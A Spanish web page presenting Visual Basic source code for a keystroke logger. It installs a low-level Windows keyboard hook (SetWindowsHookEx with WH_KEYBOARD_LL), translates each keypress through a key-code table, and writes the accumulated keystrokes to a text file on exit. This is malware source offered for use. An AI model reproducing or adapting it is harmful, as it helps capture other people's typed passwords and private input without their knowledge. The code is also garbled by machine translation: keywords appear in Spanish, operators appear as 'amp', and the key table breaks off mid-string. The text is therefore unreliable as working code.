Red de conocimiento informático - Consumibles informáticos - Código fuente del registrador de teclas

Código fuente del registrador de teclas

Sección del módulo

Tipo público EVENTMSG

vKey siempre y cuando

sky siempre y cuando

marcado como largo

time Misma longitud

Tipo final

Declarar la función desenganchar windowshookex Lib "usuario 32" (ByVal hHook As Long) como Long

Declarar la función SetWindowsHookEx Lib " usuario 32" "Alias ​​​​"setwindowshookxa" (ByVal id hook es Long, ByVal lpfn es Long, ByVal hmod es Long, ByVal dwThreadId es Long) declarado como Long

Declarar función CallNextHookEx Lib "usuario 32" (ByVal hHook es Long, ByVal ncode es Long, ByVal wParam es Long, lParam es Long) es Long

public Declare Sub-copia de memoria Lib "kernel 32" alias "RtlMoveMemory" (el objetivo es cualquiera, el origen es cualquiera, la longitud de ByVal es Larga)

Exponer mi mensaje como un mensaje de evento

Constante pública WH _Keyboard_LL = 13

Const pública WM _ KEYDOWN = ampH100

Libros y revistas públicas.

, i, appStr$, SBUF$, pos1$(), pos2$()

Datos de inicialización de Sub ints()

AppStr = " from " now amp" de la siguiente manera; Forma de iniciar la grabación de teclado..."; vbCrLf

SBUF = " 96 _ 0 | 102 _ 6 | _ 7 | 104 _ 8 | 105 _ 9 | 106 _ * | 65 _ C | _ F | 71 _ G | 72 _ M 78 _ N | 115 _ F4 | 116 _ F5 | 117 _ F6 | 165438

pos1 = Dividir(SBUF, "|"): ReDim pos2$(256)

Para i = 0 a UBound ( pos1) - 1

pos 2(Val(pos1(i)))= Mid(pos 1(I), InStr(1, pos 1(I), " _ " 1)

Entonces

Conector final

La función pública MyKBHook (ByVal ncode es Long, ByVal wParam es Long, ByVal lParam es Long) es Long

Si ncode = 0, entonces

Si wParam = WM_KEYDOWN, entonces

CopyMemory mymsg, ByVal lParam, Len(mymsg)

appStr = appStr amppos2(mymsg.vKey ) y amp" "

Las estructuras End If ' y de juicio del bucle se eliminan por completo y se reemplazan por las matrices correspondientes definidas

End if...

MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)

Función final

Parte del formulario

Clave subform_Load privada()

vista previa = 1: modo de escala = 3: dibujo automático = 1: caption = "Grabación de Keynote"

Datos de inicialización del módulo 1.ints

hHook = SetWindowsHookEx(WH _Keyboard_LL, dirección de MyKBHook, App.hInstance, 0)

Si hHook = 0, finaliza

Finalizar conector

Subformulario privado_Descargar (cancelar a número entero)

Cuando Call UnhookWindowsHookEx(hHook)' el programa se cierra.

Abrir el apéndice 'd:\getkey.txt' como #1' Abrir texto.

Impresión número 1, módulo 1. Registro único de Appstr.

Imprimir #1, " a " ; ahora() y "Fin!" ampvbCrLf

Cerrar #1

Finalizar conector

Private Sub Form_KeyDown(KeyCode es un número entero, Shift es un número entero)

Si KeyCode = vbKeyEscape entonces desinstálame

Conector final